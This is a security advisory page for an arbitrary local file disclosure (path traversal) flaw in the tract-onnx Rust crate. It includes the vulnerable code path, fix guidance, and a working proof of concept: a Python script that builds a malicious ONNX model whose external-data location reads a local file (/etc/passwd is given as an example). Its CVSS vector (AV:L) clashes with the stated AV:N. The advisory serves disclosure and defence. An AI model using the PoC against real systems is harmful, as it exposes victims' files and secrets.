Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L
AV:N because the malicious model is delivered over the internet (model hubs); UI:R because the victim must load it; no write or code execution impact.
Primary rating from Vendor (https://github.com/sonos/tract).
CVSS VectorVendor: https://github.com/sonos/tract
Lifecycle Timeline
2DescriptionCVE.org
Summary
tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.
Details
In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:
let location = /* tensor.external_data "location" value - attacker-controlled */;
let p = PathBuf::from(path).join(location); // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?; // Mmap::map(File::open(p)) by defaultPath::joinwith an absolutelocation(e.g./etc/passwd) discards the base directory →p = /etc/passwd.- A relative
../../../../etc/passwdvalue is not normalized → directory traversal. - The default
MmapDataResolver(onnx/src/data_resolver.rs) thenmmaps the file and copiesmmap[offset..offset+length]into the tensor.offset/lengthare also taken from the file; an out-of-range slice panics (DoS).
No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).
Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir) → get_external_resources(.., model_dir).
PoC
Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.
- A canary file the model must not be able to read:
/tmp/tract_canary_secret.txt → TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b
- Build a small
evil.onnxwith aUINT8[37]initializer whoseexternal_dataislocation=/tmp/tract_canary_secret.txt(absolute),offset=0,length=37, fed throughIdentityto the output (raw protobuf serialization):
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt"
# absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())- Victim loads the untrusted model with the standard API:
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));Output:
"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.
Impact
Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.
Suggested fix
Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.
AnalysisAI
Arbitrary local file disclosure in the Rust crate tract-onnx (by Sonos) allows an attacker who supplies a malicious ONNX model file to read arbitrary files from the victim's filesystem at model-load time, with file contents surfaced directly in inference tensor output. The root cause is that get_external_resources() in onnx/src/tensor.rs passes the attacker-controlled location field of ONNX external-data tensors directly to PathBuf::join() without sanitization, enabling both absolute-path overrides and relative ../ traversal. A secondary denial-of-service (panic) is possible via out-of-bounds offset/length values. Publicly available exploit code exists (full PoC confirmed on tract-onnx 0.21.16); no active exploitation has been confirmed by CISA KEV at time of analysis.
Technical ContextAI
tract-onnx (crate tract-onnx, pkg:rust/tract-onnx) is a Rust inference engine for ONNX models. The ONNX format supports external tensor data stored in separate files, referenced via a location field in the TensorProto.external_data protobuf structure. In onnx/src/tensor.rs, get_external_resources() constructs the file path as PathBuf::from(model_dir).join(location) where location is taken verbatim from the untrusted .onnx file. Rust's Path::join() silently discards the base path when the argument is absolute (e.g., /etc/passwd), and does not normalize .. components for relative traversal. The MmapDataResolver in onnx/src/data_resolver.rs then memory-maps and slices the resolved file, copying bytes into the tensor with no bounds check before slicing, causing a panic on out-of-range offset/length. The root cause class is CWE-22 (Path Traversal). This is the same class of flaw that the reference ONNX Python library addressed over multiple CVEs; tract-onnx implemented its own resolver and was never hardened.
RemediationAI
Upgrade tract-onnx to a patched release: 0.21.17 for the 0.21.x line, 0.22.3 for the 0.22.x line, or 0.23.2 for the 0.23.x line. The fix should implement the mitigations described in the advisory: reject location values that are absolute paths or contain .. components, canonicalize the resolved path, and verify it stays within the model directory (mirroring the approach taken in the reference onnx Python library at version 1.22.0), reject symlinks, and validate offset/length against actual file size before slicing. If immediate upgrade is not possible, the primary compensating control is to restrict which ONNX models are loaded - only load models from fully trusted, verified sources and never load user-supplied or third-party models without validation. Sandboxing the inference process (e.g., seccomp, container with read-only filesystem restricted to the model directory, or running without access to sensitive paths) limits what files can be exfiltrated, at the cost of operational complexity. There is no known configuration flag to disable external-data resolution within the library itself prior to patching. See https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5 for full details.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-77721
GHSA-h668-6x6g-f8r5